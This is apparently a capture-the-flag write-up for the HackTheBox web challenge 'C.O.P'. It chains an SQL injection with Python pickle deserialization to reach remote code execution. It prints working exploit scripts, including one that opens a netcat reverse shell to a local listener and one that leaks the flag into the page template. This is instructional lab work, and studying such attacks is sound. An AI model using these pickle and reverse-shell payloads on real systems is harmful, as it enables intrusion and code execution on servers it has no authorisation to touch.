Skip to main content
  1. Posts/

HTB: C.O.P [Challenge | Web]

·1401 words·7 mins
htb pentesting walkthrough 100in23 python RCE custom exploit pickle
drt
Author
drt
I apologize ahead of time for all the “pickle rick” gifs ahead. You have been warned!

Enumeration #

First, I started poking around the website. A simple store, with a few items to look at, and a ton of pickle images. Clicking on the first item shows more details about it. The URL looks interesting though… Seeing a URL like http://localhost:1337/view/1 makes me curious. Attempting to change the 1 to a 0 or a 5 crashes the application. Fantastic, this looks like possible SQL injection! Time to enumerate the code a bit and see what is going on under the hood.

broken application

SQL Injection Tests #

Looking at models.py, we can see the following python code:

return query_db(f"SELECT data FROM products WHERE id='{product_id}'", one=True)

This is exactly what we want to see. The {product_id} variable is injectable! A quick test check that injection is possible and maintain functionality would be to add the ' OR id='4 to the end of /view/ in the URL. We can then change 4 to any available ID and the website will continue to function as normal. The injected URL looks like:

http://localhost:1337/view/'%20OR%20id='4

Success! We have some SQL injection! If you’re unsure of why this works, here is what the SQL query becomes on the server side:

SELECT data FROM products WHERE id='' OR id='4'

The other interesting bit about the SQL setup is that database does not store the each piece of data for an item in its own column. Instead, it pickles the python object and then stores a base64 encoded pickled data, along with an ID and time created.

SQL injection is nice, but nothing really to leverage yet to get the flag (it’s not stored in the DB). Next, let’s look a bit deeper at the code base to see how we can leverage this to obtain the flag.

Pickle #

It took me much longer than it should have to remember that python has a pickle module to binary pack python data structures. It’s been years since I’ve touched it, but it all makes sense now looking at the website. If you’re a python dev this was probably screaming at you the moment you started looking into this challenge.

pickle rick in rain

A quick google search for “python pickle exploit” returns a plethora of results. There is an excellent write up about it that goes into great detail about how the python’s pickle module works, and how it can be exploited, and provides an example. We can take this information to craft our own exploit!

Exploiting #

According to the docs:

The __reduce__() method takes no argument and shall return either a string or preferably a tuple (the returned object is often referred to as the “reduce value”).

Looking at the how a pickle RCE works, the __reduce__ function will return os.system (a callable), and a tuple of arguments to pass into os.system. When pickle.loads is called from the application, the __reduce__ function is called and the os.system command is executed. The following exploits leverage the class RCE referenced in the blog post mentioned above. Let’s construct an exploit to get the flag.

Malicious Pickle #

The easiest way I could think of to get the contents of flag.txt was to copy the file to a public directory on the web server. In this application there is /static directory that stores the images, js, css, etc. Our payload will copy flag.txt to that directory, and then we can access the file from the web browser.

Create a file called malicious_pickle.py and add the following python code.

import pickle
import base64
import os

payload = 'cp flag.txt application/static/.'

class RCE:
    def __reduce__(self):
        return os.system, (payload,)

if __name__ == '__main__':
    print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))

Run the command from your terminal and copy the output.

python3 malicious_pickle.py

running the exploit code

Chaining with SQL Injection #

Okay, we have a base64 encoded pickle RCE ready to go, but how do we get it to execute on the server? We need to go back to the SQL injection we found earlier. The goal is to trick web server to load our payload instead of an id from the database. Since the SQL query in the application only returns the pickled data based on the ID, we can inject some SQL to fail finding data and then UNION the result to include our RCE payload.

The following SQL snippet is what will be executed on the server side.

SELECT data FROM products WHERE id='' UNION SELECT '<MALICIOUS_PICKLE>'

The <MALICIOUS_PICKLE> is just a placeholder for demonstration. The final crafted SQL will include the base64 encoded string returned from the malicious_pickle.py file above.

Constructing the URL #

Now that we have all the pieces, let’s put it together in the web browser. Craft a URL similar to the following and hit enter.

# replace <MALICIOUS_PICKLE> with the payload
http://localhost:1337/view/' UNION SELECT '<MALICIOUS_PICKLE>

broken template

The broken template is a good sign!

Let’s check to see if the exploit work. Goto http://localhost:1337/static/flag.txt

static dir flag

SUCCESS!

success gif

Going Further for Fun and Profit #

Sure, we got what we wanted, but we could take this a step further (or two). Some hackers will say you haven’t really pwned a box until you “got a shell on the system”. Others would say one needs to get root.

be impressed gif

This application runs in a container as root so getting a shell would cover all bases ;D

Popping a Reverse Shell #

We can keep the same script as before, but will need to change payload. After some poking around in the docker container, I noticed it has nc installed built with the -e flag enabled.

This will work for local testing. I didn’t try this on HTB, nor do I encourage it. With any luck its against their TOS or something. Best to run this as a proof of concept locally.

I decided to rerun the container on host network this time around. No more port forwarding was necessary!

In one shell, rerun the container.

docker run -it --rm --network host --name=cop cop

In another, start up a netcat listener.

nc -lnvp 4444

Update the payload to connect to the netcat listener and start a shell.

import pickle
import base64
import os

payload = 'nc 127.0.0.1 4444 -e /bin/sh'

class RCE:
    def __reduce__(self):
        return os.system, (payload,)

if __name__ == '__main__':
    print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))

Grab the payload and execute the it like before in the browser. Pop that shell and get that flag!

reverse shell exploit

Embed Data Into the Template #

Before moving on, have a gander at the database.py file in the challenge. The stored pickled data is based on a class called Item. To make the work, we need to construct a class that has the same fields, or import this challenge’s Item class into our exploit code. Honestly, importing the class seems like a ton of work for no real gain. We can skip trying to embed the actual Item class and make our own. But from the same token, the application isn’t aware of classes defined in our codebase either. For the __reduce__ function to not fail within the application, we can to leverage SimpleNamespace to create a simple class (the callable) that can be used within the templates. Since we’ll use the same field names as the application’s Item class, the template will render properly!

While this is a bit more complex, and not really necessary, it was extremely satisfying to see the flag as the product’s description.

We’ll construct a new class called FakeItem and populate some fields based on Item from the challenge. Instead of a product description, the self.description will contain an instance of the RCE class. It will get pickled properly along with the FakeItem. We also need to override the __reduce__ function in FakeItem to return a SimpleNamespace along with all the fields in our current instance.

import pickle
import base64
import subprocess
from types import SimpleNamespace

payload = ['cat', 'flag.txt']

class FakeItem:
    def __init__(self):
        self.name = 'Hacked!'
        self.description = RCE()
        self.image = 'https://media.tenor.com/Ce309bmw-fQAAAAM/be.gif'
        self.price = '13.37'

    def __reduce__(self):
        return SimpleNamespace(**self.__dict__).__reduce__()

class RCE:
    def __reduce__(self):
        return (subprocess.check_output, (payload, ))

if __name__ == '__main__':
    print(base64.urlsafe_b64encode(pickle.dumps(FakeItem())).decode('ascii'))

In the previous exploits, using os.system will only execute the commands, but not capture any output. We can change that but using subprocess.check_output which will return the bytes from process’ output.

embed in template exploit

One last pickle rick gif to personify my satisfaction in completing this challenge and especially the template injection.

pickle rick smoking

References #